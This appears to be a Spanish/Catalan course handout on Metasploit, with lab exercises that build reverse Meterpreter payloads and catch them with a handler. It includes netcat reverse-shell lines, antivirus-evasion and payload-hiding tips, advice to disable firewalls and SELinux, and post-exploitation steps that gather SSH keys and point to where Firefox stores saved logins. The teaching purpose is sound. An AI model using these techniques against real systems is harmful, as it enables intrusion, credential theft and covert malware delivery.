Metasploit

Introducción

Metasploit (https://www.metasploit.com) es una herramienta diseñada para penetrar máquinas remotas mediante el uso de "exploits" y, tras ello, implantar y ejecutar "payloads" en ellas.

> NOTA: A veces, a Metasploit i herramientas similares se les denomina "**R.A.T**s" (de "Remote Administration Tools"), debido a que la mayoría de veces el objetivo de los "payloads" incrustados en la máquina víctima es (tal como a continuación explicaremos) tomar el control de ella

Un *exploit* es un fragmento de software cuyo objetivo es aprovecharse de alguna vulnerabilidad de seguridad concreta de un sistema operativo o programa determinado para provocarle, a ese sistema o programa, un error. La finalidad última del disparo del error puede ser variada según el tipo de error que sea: se puede simplemente querer causar un fallo de segmentación en el sistema/programa en cuestión (lo que sería un ataque DoS), o bien, que es lo más habitual, se puede querer aprovechar dicho error para entonces "inocularle"/"inyectarle" un determinado "payload" que permita tener acceso remoto desde ese momento al sistema/programa en cuestión (y así poderlo controlar a voluntad), etc.

Un *payload* (o "carga útil") es un fragmento de software que, gracias a haberse ejecutado previamente un determinado exploit contra el sistema/programa en cuestión, es capaz de poderse ejecutar en él. Por tanto, el "payload" concreto que logre ejecutar el atacante será lo que defina lo que este podrá realizar en el sistema/programa atacado (un "payload" podrá permitirnos realizar una conexión VNC, i/o lanzar una shell escuchando en un determinado puerto -en ese caso a los "payloads" se les suele llamar *shellcodes*- , i/o ejecutar comandos específicos predeterminados, i/o descargar algun malware de algún lugar, etc,etc).

NOTA: Hay que tener claro, que los "payloads" son independientes de las vulnerabilidades concretas explotadas previamente para poder ejecutarlos en el sistema/programa penetrado; es decir: un mismo payload puede ser utilizado por distintos exploits (así como, por otro lado, un mismo exploit puede utilizar varios payloads)

Metasploit viene "de serie" con un conjunto de centenares de códigos fuente de exploits conocidos, clasificados en una jerarquía que los diferencia según error que vulneren, el sistema operativo, etc. A partir de aquí se puede elegir el código de exploit deseado y compilarlo "ad-hoc" según los parámetros que se necesiten.

> NOTA: Este conjunto de exploits, disponible públicamente en https://github.com/offensive-security/exploit-database, puede actualizarse desde Internet (independientemente del propio Metasploit) o también a través de la página web del programa.

En la compilación de cualquier exploit, un paso casi siempre imprescindible es la vinculación de este con un determinado "payload", a elegir también de una lista que Metasploit ofrece de serie. De hecho, los mismos desarrolladores de Metasploit también son los responsables de un payload muy completo llamado **Meterpreter**.

Es de recibo indicar que no siempre es necesario generar la pareja *exploit+payload(+encoder)*; si el atacante consigue que sea el propio usuario incauto el que ejecute el *payload(+encoder)* en el sistema (mediante el uso de enginería social -por ejemplo a través del envío al usuario incauto de un enlace al binario para que se lo descargue y lo ejecute pensando que es una foto de gatitos- o de cualquier otro método), la tarea del *exploit* (que básicamente es poder implantar el payload) ya nos la habrá realizado el usuario incauto y, por tanto, ya no será necesario generarlo: bastará solo con distribuir el *payload(+encoder)* camuflado dentro de algún programa aparentemente legítimo (o de cualquier otro tipo de fichero como una foto, un archivo multimedia, etc) y ya está.

Un *encoder* es un fragmento de software que se encarga de codificar los "payloads" que se le indiquen con el objetivo de evadir su detección por parte de antivirus i antimalware en general (esto lo consigue difuminando los patrones binarios existentes en el contenido del "payload" para evitar que sean reconocidos por dichas herramientas de seguridad).

Instalación

Metasploit ofrece un shell script que se encarga de detectar la versión y tipo de distribución del sistema actual para añadir el repositorio propio apropiado y así descargar los paquetes necesarios para realizar la instalación de todo el entorno. Los pasos para realizar esta instalación automatizada de Metasploit (en Ubuntu o Fedora Server) son:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && sudo ./msfinstall

Los binarios instalados se ubicarán en la carpeta "/opt/metasploit-framework/bin", por lo que, o bien se debería añadir esta carpeta al PATH del sistema o bien habría que indicar la ruta exacta del binario a usar en cada momento. No obstante, al menos en Ubuntu, y también en Fedora, durante la instalación dentro de "/usr/bin" se crean enlaces simbólicos a los ejecutables más relevantes, así que en principio dichos ejecutables se podrán invocar como cualquier otro.

Se puede actualizar la instalación de Metasploit en cualquier momento con uno de los binarios allá presentes, el comando *sudo msfupdate*

NOTA: Para que Metasploit funcione correctamente, es recomendable deshabilitar previamente el cortafuegos (*sudo systemctl --now disable ufw* en Ubuntu, *sudo systemctl –now disable firewalld* en Fedora) y, además, en Fedora, deshabilitar SELinux (*sudo sed -i "s/=enforcing/=disabled/g" /etc/selinux/config && sudo systemctl reboot*).

Primeros pasos: creación de un payload con *msfvenom*

El comando que ofrece Metasploit para generar payloads (codificados) es ***msfvenom.*** Una vez generado dicho payload, tal como hemos comentado, o bien deberemos enviarlo de alguna manera (via descarga, via email, via formulario de subida de ficheros en el caso de ser un servidor web, etc) al sistema de la víctima para intentar lograr que ésta lo ejecute de alguna manera inadvertidamente o bien deberemos de echar mano de algún exploit que nos permite inyectarlo y ejecutarlo a distancia. Este comando (el cual se puede ejecutar como usuario normal) tiene los siguientes parámetros más relevantes:

-p : Sirve para indicar el tipo de payload que deseamos generar. La lista de los tipos de payloads ofrecidos por Metasploit se puede obtener ejecutando el comando *msfvenom -l payloads*. Los nombres de cada payload mostrado en esta lista informan de dos características de ese payload en particular que debemos tener en cuenta a la hora de elegirlo: el modo de conexión que establecerá con la máquina-controladora del atacante y el sistema-víctima donde esperamos ejecutarlo. Respecto la primera característica, recomiendo leer atentamente las notas siguientes; respecto la segunda, nos podemos encontrar, por ejemplo, con payloads pensados para ser ejecutados en sistemas Linux de 64 bits (que es lo que probaremos más en los ejercicios) como, entre muchos otros,...:

linux/x64/meterpreter/bind_tcp
linux/x64/meterpreter/reverse_tcp
linux/x64/meterpreter_reverse_tcp
linux/x64/meterpreter_reverse_http
linux/x64/meterpreter_reverse_https
linux/x64/shell/bind_tcp
linux/x64/shell/reverse_tcp
linux/x64/shell_bind_tcp
linux/x64/shell_reverse_tcp
linux/x64/exec

...o en servidores web capaces de interpretar páginas PHP, como por ejemplo, entre muchos otros,...:

php/meterpreter/bind_tcp
php/meterpreter/reverse_tcp
php/meterpreter_reverse_tcp
php/exec

...o código Python...:

python/meterpreter/bind_tcp
python/meterpreter/reverse_http
python/meterpreter/reverse_https
python/meterpreter/reverse_tcp
python/meterpreter/reverse_tcp_ssl
python/meterpreter_bind_tcp
python/meterpreter_reverse_http
python/meterpreter_reverse_https
python/meterpreter_reverse_tcp
python/shell_bind_tcp
python/shell_reverse_tcp (equivalente a "cmd/unix/reverse_python")
python/shell_reverse_tcp_ssl
python/shell_reverse_udp

NOTA: De forma similar encontramos otros payloads con código interpretado en shell, como "cmd/unix/reverse_bash" (directamente en Bash) "cmd/unix/reverse_perl" (mediante Perl), etc

...o incrustados dentro del propio navegador...:

firefox/shell_bind_tcp
firefox/shell_reverse_tcp
firefox/exec

...o en sistemas Android específicamente, entre varios más,...:

android/meterpreter/reverse_http
android/meterpreter/reverse_https
android/meterpreter/reverse_tcp
android/meterpreter_reverse_http
android/meterpreter_reverse_https
android/meterpreter_reverse_tcp
android/shell/reverse_http
android/shell/reverse_https
android/shell/reverse_tcp

...o en sistemas Windows, donde podemos encontrar los mismos "payloads" que en sistemas Linux sólo que empezando su nombre con la palabra "windows", así: "windows/x64/meterpreter/bind_tcp", etc (además de otros que incluyen, por ejemplo, el uso de PowerShell y más).

NOTA: "Meterpreter" es el "payload" oficial de Metasploit, el cual ejecuta un shell interactivo con sus propios comandos. "Shell" ejecuta el shell /bin/sh en su lugar. "Exec" simplemente ejecuta un comando especificado.

NOTA: Un shell inverso ("reverse", también conocido como "connect-back") requiere que el atacante configure primero un oyente en su máquina, la máquina objetivo entonces debe actuar como un cliente que se conecta a ese oyente para que el atacante reciba el shell. Un shell "bind" es exactamente lo contrario: abre un nuevo servicio en la máquina de destino, y requiere que el atacante se conecte a él para obtener una sesión; Este tipo de shells son útiles en caso de que el atacante se desconecte de la máquina de la víctima mientras aún está en ejecución porque el atacante puede ejecutar el mismo comando y recuperar la sesión sin ninguna intervención de la víctima para ejecutar el exploit nuevamente. Un shell inverso, en cambio, es la única opción si la máquina de destino está detrás de una red privada, o si el cortafuegos de la máquina de destino bloquea las conexiones entrantes al shell, o si el "payload" no puede vincularse al puerto que desea debido a cualquier motivo, etc.

NOTA: "http", "https" o "tcp" son el tipo de túnel donde se realiza la comunicación entre el "payload" y el software de control del atacante (que a menudo será la consola de Metasploit). Los payloads "* _reverse_http" y "* _reverse_https" permiten aparentar que el tráfico generado por Meterpreter es "normal" (por ser de tipo web): esto es interesante porque si la víctima ha bloqueado todos los puertos, el "payload" aún puede comunicarse con la máquina atacante a través de (casi siempre) puertos sin censura 80 y/o 443. Además, dado que está oculta bajo http**s**, la comunicación está encriptada y se puede utilizar para omitir inspecciones profundas de paquetes.

NOTA: Generalmente, si el nombre del "payload" se divide entre un "/", como en "shell/tcp_bind", es una carga útil "por etapas" ("staged"). En este caso, "tcp_bind" sería el *stager* (ver más abajo) y "shell" es el *stage*. Desgraciadamente, esta convención no se usa consistentemente en Metasploit, por lo que a menudo uno tiene que ir a la sección "información" de la carga útil o encontrar el directorio en el que se encuentra para determinar si es una carga útil por etapas o no ("stageless"). La diferencia entre los payloads "staged" y "stageless" (estos últimos también llamados "inline") está en que los primeros usan pequeños "trampolines" llamados "stagers" que caben en pequeños espacios de explotación, así que, si el área de memoria de explotación del sistema de la víctima es muy pequeña y solo permite que se ejecute una pequeña cantidad de código, primero se coloque un pequeño stager en esta área de para configurar la conexión y luego, que ese stager descargue el resto de la carga útil una vez este punto de apoyo ya esté implantado en el sistema víctima. Estas cargas útiles por etapas más grandes incluyen cargas útiles tan complejas como Meterpreter y VNC Injection, las cuales incluyen código grande y complejo. Sin embargo, un payload sin etapas se envía en un solo bloque: implantándose todo él en una etapa.

Después de indicar el tipo de payload a generar tras el parámetro *-p*, a continuación se deberán indicar (uno tras otro separados por espacios) los posibles parámetros que este requiera. Por ejemplo suelen ser muy habituales en los payloads de tipo "reverse" los parámetros LHOST y LPORT, los cuales sirven para indicar, respectivamente, la IP y puerto de la máquina atacante hacia donde el payload deberá realizar la conexión una vez integrado en la máquina víctima. En el caso de los payloads de tipo "bind" los parámetros más habituales son RHOST y LPORT para indicar, respectivament, la IP de la máquina víctima y el puerto local del atacante hacia donde el payload conectará. Para saber exactamente qué parámetros necesita un determinado tipo de payload, se puede ejecutar *msfvenom -p nombrePayload --list-options*

NOTA: Es posible usar en vez de RHOST el parámetro RHOSTS para indicar múltiples víctimas. La sintaxis para indicar sus múltiples IPs es la misma que la utilizada en el comando *nmap*. También es posible usar, como alternativa, un fichero conteniendo la lista de IPs a atacar indicando el valor file://...

-f : Formato final del payload. La lista completa de formatos posibles se puede obtener ejecutando el comando *msfvenom -l formats*. Entre los más habituales encontramos "exe", "dll", "psh", "msi" o "vba" (para Windows) y "elf" (para Linux)" pero también tenmos "bash"/"sh", "c", "hex", "csharp", "java"/"jar"/"jsp", "py"/"python", "pl"/ "perl" o "raw" (usado para payloads de tipo PHP y también Python), etc.

-e : Opcional. "Encoder" a usar para camuflar el payload. La mayoría de ellos transforman el código Assembler del binario generado de manera que sea más difícil encontrar marcas de la presencia del payload (los payloads, por lo general, suelen estar muy estudiados y por tanto son fácilmente reconocibles dentro de un código Assembler sin codificar). Se clasifican por la arquitectura de la máquina víctima (cada encoder solo suele ser útil para una determinada plataforma: x86, x86_64, etc). La lista de los tipos de payloads ofrecidos por Metasploit se puede obtener ejecutando el comando *msfvenom -l encoders*. Allí podremos ver de diferentes tipos según la arquitectura: "x86/...", "x64/..." (por ejemplo, "x64/xor", "php/base64",...). Por otro lado, también podemos añadir además el parámetro *-i nº*, donde *nº* indica el número de veces que se aplicará el "encoder" al "payload" (en principio, cuantas más, más difícil de detectar será)

NOTA: Si se quiere, no obstante, tener una protección más profesional, es más recomendable usar herramientas especializadas en el camuflaje de binarios anti-AV, como Veil (https://github.com/Veil-Framework/Veil)
NOTA: La manera más sencilla de saber si nuestro payload será detectado por las máquinas víctimas es buscando en el servicio **Virus Total** (https://www.virustotal.com) el hash MD5 de nuestro payload (¡no lo subáis porque entonces Virus Total ya tendrá constancia de él!). Recordad que este hash se puede obtener mediante el comando *md5sum*.

-x */ruta/binario* : Opcional. Archivo ejecutable "nodriza" donde se incrustará en su interior de forma invisible (a modo de "alien") el payload indicado previamente. Este parámetro suele venir acompañado del parámetro *-k* para conseguir que el ejecutable "nodriza" se consiga ejecutar sin errores (si no se indica solo el "payload" se ejecutará correctamente, lo que podría dar lugar a sospechas). Por defecto *msfvenom* utiliza las plantillas ubicadas dentro de la carpeta "data/templates", en su directorio de instalación.

-o : Ruta del fichero distribuible a las víctimas con el payload generado en su interior

NOTA: El comando *msfvenom* tiene muchos otros parámetros opcionales más, como por ejemplo *-a* (para indicar la arquitectura donde se piensa ejecutar el payload -x64,...-; si no se indica esta se deduce del nombre del payload utilizado), *--platform* (para indicar el sistema donse se piensa ejecutar el payload -linux,windows,...-; si no se indica se deduce del nombre del payload utilitzado),etc. Se puede consultar una lista de todos los parámetros posibles con *msfvenom -h*

Primeros pasos: ejecución de un exploit con *msfconsole*

*En el caso de usar un payload "stageless" de tipo "bind", en la máquina del atacante podríamos obtener un shell remoto simplemente ejecutando *netcat* en nuestra máquina en modo cliente, así: *nc 192.168.1.101 5555* (suponiendo que en la víctima el payload elegido -de tipo Metarpreter o de otro tipo- hiciera algo equivalente a esto: *nc -l -p 5555 -e /bin/bash*)

*En el caso de usar un payload "stageless" de tipo "reverse", podríamos obtener un shell remoto igualmente ejecutando *netcat*, pero esta vez en modeo servidor, así: *nc -l -p 5555* (suponiendo que en la víctima el payload elegido -de tipo Metaspreter o de otro tipo- hiciera algo equivalente a esto: *nc 192.168.1.101 5555 -e /bin/bash*)

*En el caso de usar un payload "staged" no podemos usar *netcat*. En este caso, si conseguimos ejecutar en el sistema víctima concretamente el payload Meterpreter, los pasos a seguir en la máquina atacante para disfrutar de acceso remoto, tras ejecutar el comando *msfconsole* (que a continuación explicaremos en detalle), serían los siguientes (mediante los cuales se implementará un "servidor" que recibirá las peticiones de conexions entrantes realizadas desde la víctima por el payload):

msf6 > **use exploit/multi/handler**
msf6 exploit(handler) > **set PAYLOAD nombre/payload/meterpreter/ejecutado**
(por ejemplo: linux/x64/meterpreter/reverse_tcp)
msf6 exploit(handler) > **set LHOST ip.maq.hacker** (o set RHOST ... si es de tipo "bind")
msf6 exploit(handler) > **set LPORT nºpuertoHacker**
msf6 exploit(handler) > **run**

Si quisiéramos mantener una conexión entre un payload de tipo "reverse" ejecutándose en una máquina víctima separada de nuestra máquina atacante por una red WAN (como Internet) es necesario realizar un par de ajustes:

*Como valor de LHOST hay que indicar la IP pública de nuestro router (este valor se puede obtener por ejemplo visitando http://whatismyip.com). Lo ideal sería usar, no obstante, un servicio como No-IP y usar, en vez de ese valor, que puede variar en algún momento, el nombre DNS asociado, que es fijo.

*Para que el valor de LPORT funcione, es necesario realizar una redirección de puertos en la configuración de nuestro router. Otra opción es utilizar soluciones que trabajan detrás de NAT, como *ngrok* (https://ngrok.com) o *pagekite* (https://pagekite.net)

El comando que ofrece Metasploit para compilar exploits (asociándoles un determinado payload, invocando para ello en ese momento internamente al comando *msfvenom*) y de ejecutarlos contra una víctima es **msfconsole**. Tal como ya hemos dicho, el hecho de generar un exploit+payload nos permitirá no tener que introducir manualmente dicho payload en el ordenador de la víctima (o hacer que un usuario incauto lo tenga que hacer por nosotros) sino que esa introducción será totalmente transparente (y realizada de forma remota).

El comando *msfconsole* se puede utilizar (siempre como usuario normal!) de forma interactiva entrando en una consola propia al ejecutarlo sin más o bien de forma no interactiva indicándole mediante el parámetro *-x* todos los comandos que necesite de un solo golpe (separados entre sí por ";"). En general utilizaremos la primera manera por darnos más posibilidades.

NOTA: La primera vez que se ejecuta *msfconsole* nos hará un par de preguntas interactivas:

1) Si deseamos generar una base de datos local interna (se guardará dentro de la carpeta "~/msf4/db") para ir guardando un registro de los diferentes exploits, payloads y ataques (y sus respectivas características) disponibles y utilizados en las sesiones con *msfconsole*. Es muy recomandable decir que sí. Seria equivalente a ejecutar a mano el subcomando *msfdb init* Para eliminar la base de datos existente se puede ejecutar *msfdb delete*

2) Si deseamos iniciar el servicio web de Metasploit. Si respondemos que sí (es muy recomendable también!), se nos preguntará a continuación el nombre de usuario y contraseña para el acceso vía REST API a dicho servicio, acceso que se podrá realizar yendo mediante un navegador (o mediante *curl*) a https://localhost:5443/api/v1/auth/account desde la misma máquina atacante (este acceso estará disponible aún no teniendo en marcha el comando *msfconsole*).

NOTA: Dentro de una sesión *msfconsole*, el acceso ya se realiza automáticamente pero, si fuera necesario, se puede realizar a mano mediante el comando *db_connect http://localhost:5443* Consultar https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service Para mas información

Los comandos internos de la consola más habituales son:

?	: Muestro lista de comandos disponibles
help comando	: Muestro ayuda del comando indicado
search type:exploit platform:windows adobe pdf	: Busco en la base de datos local todos los exploits disponibles para sistemas Windows utilizando como filtros las palabras "adobe" y "pdf". Todos los filtros posibles se pueden ver con *help search*
show exploits	: Muestro lista de exploits disponibles en BD local
show payloads	: Muestro lista de payloads disponibles en BD local
show encoders	: Muestro lista de encoders disponibles en BD local
show auxiliary	: Muestro lista de los módulos auxiliares " " "
grep palabra comando	: Busca palabra en la salida del comando indicado (normalmente de tipo *show* o *info*)
use nombreExploit	: Elijo el exploit indicado. A partir de aquí:
show info (o *info*)	: Muestro toda la información sobre ese exploit
show targets	: Muestro la lista de sistemas operativos vulnerables a ese exploit (si es de tipo "multi/browser" o similar)
show options	: Muestro lista de opciones básicas del exploit elegido junto con sus valores actuales
show advanced	: Muestro lista de opciones avanzadas del exploit elegido junto con sus valores actuales
set PAYLOAD nombre/payload	: Asocio un payload concreto a ese exploit
set NOMBREOPCION valor	: Establezco un valor concreto a la opción indicada
run	: Ejecuto el exploit.Con *run -z* se ejecutará en 2plano
back	: Vuelvo al prompt inicial de *msfconsole* deshaciendo la configuración o contexto del exploit que estuviera a medias
sessions -l	: Listo las sesiones remotas abiertas
sessions -i nº	: Entro en el shell/payload de la sesión indicada (ya iniciada pero puesta previamente en 2º plano)
sessions -k nº	: Mato la sesión indicada. Para matar todas las iniciadas, hacer *sessions -K*
sessions [-i nº] -c comando	: Ejecuto un comando shell en la sesión indicada (o en todas las sesiones si no se indica ninguna!)
sessions [-i nº] -C comandoMeterpreter	: Ejecuto un comando Meterpreter en esa sesión (o en todas las sesiones si no se indica ninguna!)
sessions -u nº	: Si la sesión fuera de tipos "shell", la actualiza a una de tipo Meterpreter
log	: Muestro los mensajes de registro de Metasploit
spool /ruta/fichero	: Escribe en el fichero lo mostrado por la consola
connect ip nºpuerto	: Equivalente al cliente netcat sin salir de *msfconsole*

NOTA: Metasploit tiene siete tipos diferentes de módulos. Estos son: "payloads", "exploits", "encoders", "post", "nops", "auxiliary" y "evasion". "Post" son módulos que podemos utilizar después de la explotación del sistema. "Nops" es la abreviatura de No OperationS y simplemente significa "no hacer nada"; esto puede ser crucial para crear un desbordamiento de búfer. "Auxiliar" incluye numerosos módulos que no encajan en ninguna de las otras categorías: estos incluyen cosas como fuzzers, escáneres, servidores "ad hoc", ataques de denegación de servicio y más. "Evasion" permeten generar "mutacions" dinàmiques als payloads que dificulten su detección por parte de antivirus.

Primeros pasos: Uso de Meterpreter

Meterpreter (https://github.com/rapid7/metasploit-payloads) se adhiere automáticamente a un proceso preexistente en la máquina víctima mientras se ejecuta en memoria, sin dejar rastro de su existencia, por tanto, en el disco duro o el sistema de archivos. Para saber cuál es el proceso al cual se ha "enganchado", se puede ejecutar el comando *getpid*. Sin embargo, muy a menudo se querrá adjuntar Meterpreter a otro proceso con una vida útil más duradera (como "svchost.exe" en Windows, por ejemplo). Para lograr esto, primero se debe obtener la lista de procesos actuales en el sistema de destino con el comando *ps* (es posible filtrar la salida de *ps* con expresiones regulares, como *ps ^f.** o con el comando *pgrep*, por ejemplo; también se puede filtrar por usuario con *ps -U usuario* o por nombre de proceso con *ps -S proceso*) y luego, "migrar" al nuevo proceso de destino con el comando *migrate nºPID* (aunque esto último solo funciona en sistemas Windows). Otros comandos interesantes son:

sysinfo	: obtiene información general del sistema víctima
getuid	: muestra el usuario actual que se es en la víctima
getenv NOMVARIABLE	: muestra el valor de variable en el entorno víctima
pwd	: muestra la carpeta donde se está en la víctima
cd carpeta	: se mueve a esa carpeta en la víctima
ls	: muestra el contenido de carpeta actual en la víctima
lpwd	: muestra la carpeta donde se está en el atacante
lcd carpeta	: se mueve a esa carpeta en el atacante
lls	: muestra el contenido de carpeta actual en atacante
mkdir carpeta	: crea esa carpeta en la víctima
rmdir carpeta	: borra esa carpeta en la víctima
cp /ruta/fichero.orig /ruta/fichero.copia	: copia un fichero entre carpetas de la víctima
mv /ruta/fichero.orig /ruta/fichero.copia	: mueve un fichero entre carpetas de la víctima
chmod xxx fichero	: cambia los permisos a ese fichero de la víctima
rm fichero	: borra un fichero en la víctima
checksum {md5|sha1} fichero	: calcula checksum MD5|SHA1 del fichero indicado
upload [-r] ficheroOcarpetaMaqAtacante ... carpetaMaqVictima	: obvio (se usa *pwd* y *lpwd*)
download [-r] ficheroOcarpetaMaqVictima... carpetaMaqAtacante	: obvio (se usa *pwd* y *lpwd*)
cat fichero	: muestra el contenido de ese fichero en la víctima
edit fichero	: abre el editor por defecto de la máquina atacante, dado por la variable $EDITOR (que suele valer "vi") para modificar el fichero presente en la víctima.
execute -f /ruta/programa [-a "arg1 arg2 ..."]	: ejecuta ese proceso en la víctima. Si es interactivo hay que añadir los parámetros *-ic* ; si queremos que esté oculto hay que añadir *-H*
shell	: abre un shell /bin/sh en la víctima
kill nºPID	: mata el proceso en la víctima indicado por su PID También está *pkill nombre* (mata por su nombre)
ifconfig	: muestra MACs e IPs de las tarjetas de la víctima
arp	: muestra la tabla ARP de la víctima
resolve nom.DNS	: resuelve el nombre indicado (desde la víctima)
netstat	: muestra las conexiones actuales en la víctima
run algun/modulo/de/tipo/post	: ejecuta ese módulo Metasploit en la víctima
resource fitxer.txt	:ejecuta en *pwd* un conjunto de comandos Meterpreter escritos en el fichero indicado, el cual estará ubicado a *lpwd*
shutdown o *reboot*	: apaga (o reinicia) la víctima
background (o *bg*)	: pone en 2º plano la sesión actual de Meterpreter
exit (o *quit*)	: sale de la sesión actual de Meterpreter

NOTA: Una lista más completa se puede encontrar en https://www.hacker-arise.com/ultimate-list-of-meterpreter-command o https://null-byte.wonderhowto.com/how-to/hack-like-pro-ultimate-command-cheat-sheet-for-metasploits-meterpreter-0149146. Con el comando *help* se puede obtener la lista de comandos disponibles en la sessión actual de Meterpreter y con *help nombrecomando* la ayuda concreta de ese comando.

EXERCICIS:

1.-a) Instal·la Metasploit en una màquina virtual qualsevol (que serà la màquina del "hacker") que tingui la seva tarja en mode "adaptador pont". Tot seguit executa-hi (com usuari normal, no cal ser root) la comanda *msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ip.Maq.Virt -f elf -o ~/jajaja*

> NOTA: Executant la comanda *msfvenom -p linux/x64/meterpreter/reverse_tcp -l payloads* pots observar que, per defecte, LPORT val 4444, així que si ja ens està bé aquest valor no cal canviar-ho

b) Copia el binari jajaja de la màquina virtual a la màquina real (que serà la màquina a "infectar") de la manera que vulguis (via scp, via mail, via pendrive, via netcat, etc...aquí és on entraria també algun aspecte d'enginyeria social) i dóna-li permisos d'execució.

c) A la màquina virtual executa (com usuari normal, no cal ser root) la comanda *msfconsole -q* , i a la consola interactiva escriu les comandes necessàries per restar a l'espera de la connexió del payload. És a dir, escriu:

> msf6 > **use exploit/multi/handler**
> msf6 exploit(handler) > **set PAYLOAD linux/x64/meterpreter/reverse_tcp**
> msf6 exploit(handler) > **set LHOST ip.Maq.Virt**
> msf6 exploit(handler) > **show options**
> msf6 exploit(handler) > **run**

d) Fes ara doble clic sobre el binari "jajaja" a la màquina real i comprova que, inmediatament, apareix una consola Meterpreter dins de msfconsole. Executa les següents comandes Meterpreter i digues què fan:

sysinfo	*lcd /var*	*edit /etc/passwd*
getuid	*mkdir pepe*	*execute -f touch -a "-m hola.txt"*
pwd	*rmdir pepe*	*kill 1234*
cd /var	*upload /etc/fstab /home/asix2*	*ipconfig*
ls	*download /etc/fstab /home/usuari*	*shell*
lpwd	*search -d /home/usuari -f *.txt*	*bg*
	cat /etc/passwd	*exit*

> NOTA: Para que en la salida del comando *ps* de la máquina víctima salga nuestro payload con otro nombre, al incluirlo en la mayoría de exploits se les puede añadir la opción *PayloadProcessCommandLine="monkey -n 123"* Para saber si esto se puede hacer con el exploit particular que tengamos seleccionado se puede ejecutar el comando **show advanced** para ver las opciones avanzadas más allá de las mostradas por *show options*

e) Executa la comanda *ss -tn* a la màquina real (la víctima) i observa quin port hi manté obert en aquella màquina el binari *jajaja* (que, recordem, té un "payload" de tipus "reverse") mentre està en marxa. ¿Per què creus que aquest port és més fàcil que no sigui bloquejat per un tallafocs?.

f) Obre el Wireshark de la màquina real, indica el filtre *tcp.dstport == 4444* i observa quin tipus de tràfic apareix mentre vas executant alguna comanda dins de Meterpreter. ¿És d'algun tipus reconegut?

g) Tanca la sessió Meterpreter i surt de la consola de Metasploit. Crea ara a la màquina virtual (la màquina atacant) un arxiu anomenat "pepe.rc" amb el següent contingut...:

> *use exploit/multi/handler*
> *set PAYLOAD linux/x64/meterpreter/reverse_tcp*
> *set LHOST ip.Maq.Virt*
> *run*

... i executa tot seguit la comanda *msfconsole -r pepe.rc* . Fes llavors doble clic de nou sobre el binari "jajaja" a la màquina real i comprova que, inmediatament, apareix una consola Meterpreter dins de msfconsole igual que passava als apartats anteriors. Finalment, tanca-la.

> NOTA: També es pot executar l'script "pepe.rc" ja dins de mfsconsole amb la comanda interna **resource pepe.rc**
> NOTA: Si volem executar poques comandes automàtica i directament cada cop que arrenquem *msfconsole* en lloc d'haver d'escriure un fitxer "rc", es pot utilitzar el seu paràmetre *-x "comanda1;comanda2;..."*

1BIS.-a) Executa ara a la màquina virtual de treball (sempre com usuari normal) la comanda *msfvenom -p python/meterpreter/reverse_http LHOST=ip.Maq.Virt -f raw -o ~/jejeje*

NOTA: Cal dir que el Meterpreter disponible en el payload Python no és tan complet com el que hi ha disponible en nadiu

b) Copia el codi Python "jejeje" de la màquina virtual a la màquina real de la manera que vulguis (via scp, via mail, via pendrive, via netcat, etc...aquí és on entraria també algun aspecte d'enginyeria social). A diferència de l'exercici anterior, no cal que li donis permisos d'execució.

c) A la màquina virtual executa (com usuari normal, no cal ser root) la comanda *msfconsole -q* , i a la consola interactiva escriu les comandes necessàries per restar a l'espera de la connexió del payload. És a dir, escriu:

msf6 > **use exploit/multi/handler**
msf6 exploit(handler) > **set PAYLOAD python/meterpreter/reverse_http**
msf6 exploit(handler) > **set LHOST ip.Maq.Virt**
msf6 exploit(handler) **> show options**
msf6 exploit(handler) > **run**

NOTA: Per defecte (això es pot veure a la sortida de *show options*), el port on es posarà a escoltar la consola local és 8080

d) Obre un terminal a la màquina real i executa la comanda *python jejeje* Comprova que, inmediatament, apareix una consola Meterpreter dins de *msfconsole*. Prova d'executar-hi alguna de les comandes Meterpreter provades a l'apartat d) de l'exercici anterior.

e) Obre el Wireshark de la màquina real, indica el filtre *tcp.dstport == 8080* i observa quin tipus de tràfic apareix mentre vas executant alguna comanda dins de Meterpreter. En tot cas, no tanquis encara la sessió Meterpreter oberta

NOTA: Si haguéssim triat el payload "python/meterpreter/reverse_https" en lloc de "python/meterpreter/reverse_http", tot s'hauria fet de la mateixa manera però el port d'escolta hauria sigut en 8443. En tot cas, el que hauríem vist al Wireshark hauria sigut tràfic TLS (és a dir, tràfic xifrat i, per tant, aparentment sense sentit)

2.-a) La gràcia de mantenir una sessió Meterpreter no només és poder executar les comandes que proporciona sinó també fer ús dels mòduls de "post-explotació" que hi ha disponibles a Metasploit. Amb la sessió Meterpreter oberta, executa el mòdul "ssh_creds", així: *run post/multi/gather/ssh_creds* ¿Què n'obtens? ¿Per quin tipus d'atac posterior creus que seria interessant el fet d'aconseguir la clau privada SSH d'un usuari de la màquina víctima juntament amb el seu respectiu arxiu "known_hosts"?

Tal com s'explica aquí (https://support.mozilla.org/en-US/kb/recovering-important-data-from-an-old-profile), els usuaris i contrasenyes que Firefox guarda dels diferents llocs que hem anat visitant (i on hem dit que volíem que Firefox ens les recordés per no haver d'escriure-les cada cop) es troben emmagatzemades (entre altres dades suplementàries) en el fitxer "**logins.json**", el qual ve acompanyat d'un altre fitxer anomenat "**key4.db**", imprescindible per desxifrar precisament els valors d'usuari i contrasenya indicats al fitxer anterior, ja que aquests venen xifrats i no es poden veure directament. Ambdós fitxers estan ubicats dins de la carpeta "xxxxx.default" -on "xxxxx" és una cadena aleatòria-, la qual representa el nostre "perfil de Firefox" i pot estar ubicada en diferents llocs segons com s'hagi instal·lat el Firefox (veieu nota següent): en tot cas, allà dins hi podem trobar a més els nostres marcadors, el nostre historial de visites i de descàrregues (arxiu "places.sqlite"), les cookies rebudes i guardades (arxiu "cookies.sqlite"), la llista de certificats arrel reconeguts (arxiu "cert9.db"), les associacions d'accions a tipus de fitxers (arxiu "handlers.json"), les nostres preferències del navegador i de llocs web (arxiu "permissions.sqlite" entre d'altres), etc, etc.

